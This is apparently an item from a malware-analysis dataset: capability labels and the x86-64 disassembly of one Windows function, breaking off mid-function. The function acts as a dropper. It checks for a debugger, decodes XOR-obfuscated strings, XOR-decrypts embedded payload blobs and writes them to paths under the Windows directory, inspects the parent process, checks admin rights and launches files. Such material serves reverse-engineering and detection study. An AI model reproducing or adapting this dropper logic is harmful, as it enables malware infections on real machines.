Function at 0x1800020c0
Capabilities:
Create process on windows
Encode data using xor
Enumerate processes
Get common file path
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x1658]
mov eax, 0x1758
call sub.ntdll.dll___chkstk
sub rsp, rax
mov rax, qword [0x18000e080]
xor rax, rsp
mov qword [rbp + 0x1630], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x180003987
xor edx, edx
lea rcx, [rbp + 0x1210]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov edx, 0x104
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x180003987
mov qword [rsp + 0x1778], rbx
lea rcx, [rbp + 0x9d0]
mov qword [rsp + 0x1780], rdi
xor edx, edx
mov qword [rsp + 0x1788], r12
mov r8d, 0x208
mov qword [rsp + 0x1748], r14
mov qword [rsp + 0x1740], r15
call sub.msvcrt.dll_memset
movabs rax, 0xfb8ce31cfca5fada
lea r8, [rbp + 0x1210]
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0x1a0]
movabs rax, 0xa8085e7d0c7d803d
lea rcx, [rbp + 0x9d0]
mov qword [rsp + 0x38], rax
movabs r15, 0xfbf8e340fcd6faff
mov qword [rbp + 0x1a0], r15
movabs r14, 0xa8085e0d0c108058
mov qword [rbp + 0x1a8], r14
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0xbe0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rbp + 0x1a0], r15
lea r8, [rbp + 0x9d0]
mov qword [rbp + 0x1a8], r14
lea rdx, [rbp + 0x1a0]
movdqa xmm0, xmmword [rbp + 0x1a0]
lea rcx, [rbp + 0xbe0]
movabs rdi, 0xfbdde31cfca5fada
movabs rbx, 0xa8085e0d0c10803c
mov qword [rsp + 0x30], rdi
mov r9d, eax
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp + 0xdf0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rbp + 0x1a0], r15
lea r8, [rbp + 0x9d0]
mov qword [rbp + 0x1a8], r14
lea rdx, [rbp + 0x1a0]
movdqa xmm0, xmmword [rbp + 0x1a0]
lea rcx, [rbp + 0xdf0]
mov qword [rsp + 0x30], rdi
mov r9d, eax
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp + 0x1000]
mov r8d, 0x208
call sub.msvcrt.dll_memset
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [rbp + 0x1a0], r15
lea r8, [rbp + 0x9d0]
mov qword [rbp + 0x1a8], r14
lea rdx, [rbp + 0x1a0]
movdqa xmm0, xmmword [rbp + 0x1a0]
lea rcx, [rbp + 0x1000]
mov qword [rsp + 0x30], rdi
mov r9d, eax
mov qword [rsp + 0x38], rbx
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x1a0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rsi]
lea rcx, [rbp + 0x250]
xorps xmm0, xmm0
add edx, 4
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
mov dword [rbp + 0x2b0], eax
mov edi, dword [rdx + rsi]
add edx, 4
add edi, edx
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov ebx, dword [rdi + rsi]
add edi, 4
mov edx, edi
mov r8d, ebx
add rdx, rsi
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
call sub.ntdll.dll_memcpy
xorps xmm0, xmm0
lea rcx, [rbp + 0x2c0]
add edi, ebx
xor eax, eax
movups xmmword [rbp + 0x2c0], xmm0
mov dword [rbp + 0x320], eax
movups xmmword [rbp + 0x2d0], xmm0
mov ebx, dword [rdi + rsi]
add edi, 4
mov edx, edi
mov r8d, ebx
add rdx, rsi
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
call sub.ntdll.dll_memcpy
xorps xmm0, xmm0
lea rcx, [rbp + 0x330]
add edi, ebx
xor eax, eax
movups xmmword [rbp + 0x330], xmm0
mov dword [rbp + 0x390], eax
movups xmmword [rbp + 0x340], xmm0
mov ebx, dword [rdi + rsi]
add edi, 4
mov edx, edi
mov r8d, ebx
add rdx, rsi
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x380], xmm0
call sub.ntdll.dll_memcpy
add edi, ebx
mov r8d, 0x1000
mov ebx, 4
xor ecx, ecx
mov r9d, ebx
mov r12d, dword [rdi + rsi]
add edi, 4
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x18000395f
mov edx, edi
mov r8d, r12d
add rdx, rsi
mov rcx, rax
call sub.ntdll.dll_memcpy
add edi, r12d
mov r9d, ebx
mov r8d, 0x1000
xor ecx, ecx
mov r14d, dword [rdi + rsi]
add edi, ebx
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18000395f
mov edx, edi
mov r8d, r14d
add rdx, rsi
mov qword [rsp + 0x1750], r13
mov rcx, rax
call sub.ntdll.dll_memcpy
add edi, r14d
mov r9d, ebx
mov r8d, 0x1000
xor ecx, ecx
mov r15d, dword [rdi + rsi]
add edi, ebx
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1a0], rax
test rax, rax
je 0x180003957
mov edx, edi
mov r8d, r15d
add rdx, rsi
mov rcx, rax
call sub.ntdll.dll_memcpy
xor edx, edx
lea rcx, [rbp + 0x1420]
mov r8d, 0x208
add edi, r15d
call sub.msvcrt.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
mov dword [rsp + 0x50], eax
call sub.msvcrt.dll_memset
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x1800025f2
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800025e9
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x68], eax
je 0x18000257f
lea rdx, [rsp + 0x60]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180002561
jmp 0x1800025e9
lea rdx, [rbp + 0x1420]
lea rax, [rbp - 0x74]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x180002590
mov rcx, qword [rax]
mov qword [rdx], rcx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xfbf8e340fcd6faff
lea rdx, [rbp + 0x200]
mov qword [rbp + 0x1b0], rax
lea rcx, [rbp + 0x1420]
movabs rax, 0xa8085e0d0c108058
movabs r13, 0xc99e45975e6fb932
mov qword [rbp + 0x1b8], rax
movabs rbx, 0x6c789ac20db46f81
movdqa xmm0, xmmword [rbp + 0x1b0]
movabs rax, 0xfb94e330fcaefa9a
mov qword [rbp + 0x200], rax
movabs rax, 0xa87a5e680c628037
mov qword [rbp + 0x208], rax
movabs rax, 0x6c1d9aba0dd16faf
movups xmm1, xmmword [rbp + 0x200]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], r13
movups xmm2, xmmword [rbp + 0x210]
mov qword [rbp + 0x1c0], rbx
xorps xmm0, xmm1
mov qword [rbp + 0x1c8], r13
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1800028f4
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x180002713
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x3a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x3a0]
call fcn.1800042c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1b0]
movabs rax, 0xfbace370fce0facc
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x1b0], rax
movabs r12, 0xfbf8e340fcd6faff
movabs rax, 0xa8265e740c71802a
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x1b8], rax
movabs r14, 0xa8085e0d0c108058
movups xmm1, xmmword [rbp + 0x1b0]
movabs rax, 0x6c789aa70dcc6fe4
mov qword [rbp + 0x208], r14
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmm1
mov qword [rbp + 0x1c0], rax
movups xmm2, xmmword [rbp + 0x1c0]
mov qword [rbp + 0x218], r13
movdqa xmm1, xmmword [rbp + 0x210]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmmword [rbp + 0x1c0], xmm1
call fcn.180001990
mov r15d, eax
mov qword [rbp + 0x210], rbx
movabs rax, 0xfbbce335fcbefaa5
mov qword [rbp + 0x208], r14
mov qword [rbp + 0x1b0], rax
lea rcx, [rbp + 0x1b0]
movabs rax, 0xa84e5e6a0c7e8037
mov qword [rbp + 0x200], r12
movdqa xmm0, xmmword [rbp + 0x200]
movabs rbx, 0x1d747b9a1ed437c
mov qword [rbp + 0x1b8], rax
movabs r14, 0xe04c4ac293d28e3
movups xmm1, xmmword [rbp + 0x1b0]
mov qword [rbp + 0x1d8], rbx
movabs rax, 0x6c219aa50dda6fe0
mov qword [rbp + 0x1c0], rax
movabs rax, 0xc9e645f25e41b947
mov qword [rbp + 0x1c8], rax
xorps xmm0, xmm1
movups xmm2, xmmword [rbp + 0x1c0]
movabs rax, 0xe04c4ac293d2886
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x1d0], rax
movups xmm3, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x220], r14
xorps xmm2, xmmword [rbp + 0x210]
mov qword [rbp + 0x228], rbx
xorps xmm3, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm3
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmmword [rbp + 0x1c0], xmm2
call fcn.180001990
test eax, eax
jne 0x1800028c1
test r15d, r15d
jne 0x1800028c1
mov edx, edi
mov rcx, rsi
call fcn.180001be0
jmp 0x1800028eb
call fcn.180001240
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, edi
mov rcx, rsi
call fcn.180001be0
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800016e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
test r12d, r12d
jle 0x1800029cd
cmp r12d, 0x40
jb 0x1800029a5
mov ecx, r12d
and ecx, 0x8000003f
jge 0x18000291b
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x18000b900]
mov eax, r12d
mov r8, qword [rsp + 0x40]
sub eax, ecx
movsxd rcx, eax
xor eax, eax
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [r8 + rax]
add edx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x10], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x20], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x30], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x180002940
cmp edx, r12d
jge 0x1800029cd
jmp 0x1800029aa
mov r8, qword [rsp + 0x40]
movsxd rcx, edx
mov eax, r12d
add rcx, r8
sub eax, edx
mov edx, eax
nop word [rax + rax]
xor byte [rcx], 0xa0
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1800029c0
mov rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0xbe0]
mov r8d, r12d
call fcn.1800018d0
xor edx, edx
test r14d, r14d
jle 0x180002aad
cmp r14d, 0x40
jb 0x180002a85
mov ecx, r14d
and ecx, 0x8000003f
jge 0x180002a08
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x18000b900]
mov eax, r14d
mov r8, qword [rsp + 0x30]
sub eax, ecx
movsxd rcx, eax
xor eax, eax
nop
movdqu xmm0, xmmword [r8 + rax]
add edx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x10], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x20], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x30], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x180002a20
cmp edx, r14d
jge 0x180002aad
jmp 0x180002a8a
mov r8, qword [rsp + 0x30]
movsxd rcx, edx
mov eax, r14d
add rcx, r8
sub eax, edx
mov edx, eax
nop word [rax + rax]
xor byte [rcx], 0xa0
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x180002aa0
mov rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0xdf0]
mov r8d, r14d
call fcn.1800018d0
xor edx, edx
test r15d, r15d
jle 0x180002b9d
cmp r15d, 0x40
jb 0x180002b75
mov ecx, r15d
and ecx, 0x8000003f
jge 0x180002ae8
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x18000b900]
mov eax, r15d
mov r8, qword [rbp + 0x1a0]
sub eax, ecx
movsxd rcx, eax
xor eax, eax
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [r8 + rax]
add edx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x10], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x20], xmm1
movdqu xmm0, xmmword [r8 + rax + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [r8 + rax + 0x30], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x180002b10
cmp edx, r15d
jge 0x180002b9d
jmp 0x180002b7c
mov r8, qword [rbp + 0x1a0]
movsxd rcx, edx
mov eax, r15d
add rcx, r8
sub eax, edx
mov edx, eax
nop dword [rax]
xor byte [rcx], 0xa0
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x180002b90
mov rdx, qword [rbp + 0x1a0]
lea rcx, [rbp + 0x1000]
mov r8d, r15d
call fcn.1800018d0
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
movabs rax, 0xfba4e37afc95fadd
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x1b0], rax
lea r8, [rbp + 0x250]
movabs rax, 0xa86f5e620c628008
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x1b0]
movups xmm1, xmmword [rbp + 0x1b0]
movabs rax, 0x6c589aaf0dd56ff3
lea rcx, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
movabs rsi, 0xfbf8e340fcd6faff
movabs rax, 0xc9fb45fb5e06b974
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x1c8], rax
movabs rdi, 0xa8085e0d0c108058
movups xmm2, xmmword [rbp + 0x1c0]
movabs rax, 0xe77c48929612890
mov qword [rbp + 0x208], rdi
movdqa xmm0, xmmword [rbp + 0x200]
movabs r14, 0xe04c4ac293d28e3
xorps xmm2, xmmword [rbp + 0x210]
xorps xmm0, xmm1
mov qword [rbp + 0x1d0], rax
movabs rbx, 0x1d747b9a1ed437c
movabs rax, 0x1d747b9a1ed435e
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x1d8], rax
movups xmm3, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x228], rbx
movdqa xmmword [rbp + 0x1b0], xmm0
xorps xmm3, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm3
movdqa xmmword [rbp + 0x1c0], xmm2
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
xor edx, edx
mov r8d, 0x208
test eax, eax
jne 0x180003243
lea rcx, [rbp + 0x5b0]
call sub.msvcrt.dll_memset
movabs rax, 0x6c789ac20db46f81
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x210], rax
lea r9, [rbp + 0x250]
movabs rax, 0xfbd8e324fcbbfa9c
mov qword [rbp + 0x208], rdi
movdqa xmm0, xmmword [rbp + 0x200]
lea r8, [rbp + 0xbe0]
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1b0]
movabs rax, 0xa8655e2d0c738077
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x1b8], rax
lea rcx, [rbp + 0x5b0]
xorps xmm0, xmmword [rbp + 0x1b0]
movabs rax, 0x6c589aa70dc26fee
mov qword [rbp + 0x1c0], rax
movabs rdi, 0x8b938e45433f2cc0
movdqa xmmword [rbp + 0x1b0], xmm0
movabs rax, 0xc9bc45b75e1cb917
mov qword [rbp + 0x1c8], rax
movabs r13, 0xf83b03eb42e0b4db
movdqa xmm1, xmmword [rbp + 0x1c0]
movabs rax, 0xe54c4f0290728a0
xorps xmm1, xmmword [rbp + 0x210]
movabs rsi, 0xe7d597fe12f48dd5
mov qword [rbp + 0x1d0], rax
movabs r15, 0x3839e4c3b2c89e26
mov qword [rbp + 0x1f0], r13
movabs rax, 0x1a547dea182430e
mov qword [rbp + 0x1d8], rax
movabs r12, 0xf819039842c5b487
movdqa xmm0, xmmword [rbp + 0x1d0]
movabs rax, 0xe79397de12998db4
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4a6b2a49e4f
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f8], rdi
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], rbx
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
xorps xmm1, xmmword [rbp + 0x230]
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmmword [rbp + 0x1f0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x7c0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
movabs rax, 0xfbf8e340fcd6faff
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x200], rax
movabs rax, 0xa8085e0d0c108058
mov qword [rbp + 0x208], rax
movabs rax, 0x6c789ac20db46f81
mov qword [rbp + 0x210], rax
movabs rax, 0xc99e45975e6fb932
mov qword [rbp + 0x218], rax
movabs rax, 0xfbd8e324fcbbfa9c
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa8655e2d0c738077
mov qword [rbp + 0x1b8], rax
movabs rax, 0x6c589aa70dc26fee
mov qword [rbp + 0x1c0], rax
movabs rax, 0xc9bc45b75e1cb917
mov qword [rbp + 0x228], rbx
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
movdqa xmm0, xmmword [rbp + 0x200]
lea r9, [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x1b0]
lea r8, [rbp + 0xdf0]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x1b0]
movdqa xmm1, xmmword [rbp + 0x1c0]
lea rcx, [rbp + 0x7c0]
xorps xmm1, xmmword [rbp + 0x210]
movabs rax, 0xe54c4f0290728a0
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1a547dea182430e
mov qword [rbp + 0x1d8], rax
movabs rax, 0xe79397de12998db4
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x220]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4a6b2a49e4f
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], rdi
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmmword [rbp + 0x1f0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call sub.msvcrt.dll_memset
movabs rax, 0xfbf8e340fcd6faff
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x200], rax
movabs rax, 0xa8085e0d0c108058
mov qword [rbp + 0x208], rax
movabs rax, 0x6c789ac20db46f81
movdqa xmm0, xmmword [rbp + 0x200]
mov qword [rbp + 0x210], rax
movabs rax, 0xc99e45975e6fb932
mov qword [rbp + 0x218], rax
movabs rax, 0xfbd8e324fcbbfa9c
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa8655e2d0c738077
mov qword [rbp + 0x1b8], rax
movabs rax, 0x6c589aa70dc26fee
xorps xmm0, xmmword [rbp + 0x1b0]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xc9bc45b75e1cb917
mov qword [rbp + 0x1c8], rax
movabs rax, 0xe54c4f0290728a0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp + 0x210]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x1a547dea182430e
mov qword [rbp + 0x1d8], rax
movabs rax, 0xe79397de12998db4
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4a6b2a49e4f
mov qword [rbp + 0x1e8], rax
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
mov qword [rbp + 0x228], rbx
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
xorps xmm1, xmmword [rbp + 0x230]
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], rdi
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
lea r9, [rbp + 0x330]
movdqa xmmword [rbp + 0x1f0], xmm0
lea r8, [rbp + 0x1000]
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x5b0]
call fcn.1800042c0
lea rcx, [rbp + 0x7c0]
call fcn.1800042c0
lea rcx, [rsp + 0x60]
call fcn.1800042c0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x3a0]
call fcn.1800042c0
jmp 0x180003957
lea rcx, [rsp + 0x60]
call sub.msvcrt.dll_memset
movabs rax, 0x6c789ac20db46f81
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x210], rax
lea r9, [rbp + 0x250]
movabs rax, 0xfbd8e323fcf9fadf
mov qword [rbp + 0x208], rdi
movdqa xmm0, xmmword [rbp + 0x200]
lea r8, [rbp + 0xbe0]
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1b0]
movabs rax, 0xa86d5e7b0c7f8035
mov qword [rbp + 0x218], r13
mov qword [rbp + 0x1b8], rax
lea rcx, [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x1b0]
movabs rax, 0x6c589ab10d916fa1
mov qword [rbp + 0x1c0], rax
movabs rdi, 0x8b938e45433f2cc0
movdqa xmmword [rbp + 0x1b0], xmm0
movabs rax, 0xc9c245ad5e2cb910
mov qword [rbp + 0x1c8], rax
movabs r13, 0xf819039842c5b4a5
movdqa xmm1, xmmword [rbp + 0x1c0]
movabs rax, 0xe63c4c3294f28b3
xorps xmm1, xmmword [rbp + 0x210]
movabs rsi, 0xe7d597fe12f48dd5
mov qword [rbp + 0x1d0], rax
movabs r15, 0x3839e4c3b2c89e26
mov qword [rbp + 0x1f0], r13
movabs rax, 0x1f747d4a18c430e
mov qword [rbp + 0x1d8], rax
movabs r12, 0xf819039842c5b487
movdqa xmm0, xmmword [rbp + 0x1d0]
movabs rax, 0xe7b09792129d8d93
mov qword [rbp + 0x1e0], rax
movabs rax, 0x384ae4e6b2949e55
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f8], rdi
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm1, xmmword [rbp + 0x1e0]
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], rbx
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
xorps xmm1, xmmword [rbp + 0x230]
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmmword [rbp + 0x1f0], xmm0
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp + 0x7c0]
mov r8d, 0x208
call sub.msvcrt.dll_memset
movabs rax, 0xfbf8e340fcd6faff
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x200], rax
movabs rax, 0xa8085e0d0c108058
mov qword [rbp + 0x208], rax
movabs rax, 0x6c789ac20db46f81
mov qword [rbp + 0x210], rax
movabs rax, 0xc99e45975e6fb932
mov qword [rbp + 0x218], rax
movabs rax, 0xfbd8e323fcf9fadf
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa86d5e7b0c7f8035
mov qword [rbp + 0x1b8], rax
movabs rax, 0x6c589ab10d916fa1
mov qword [rbp + 0x1c0], rax
movabs rax, 0xc9c245ad5e2cb910
mov qword [rbp + 0x228], rbx
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], rdi
movdqa xmm0, xmmword [rbp + 0x200]
lea r9, [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0x1b0]
lea r8, [rbp + 0xdf0]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x1b0]
movdqa xmm1, xmmword [rbp + 0x1c0]
lea rcx, [rbp + 0x7c0]
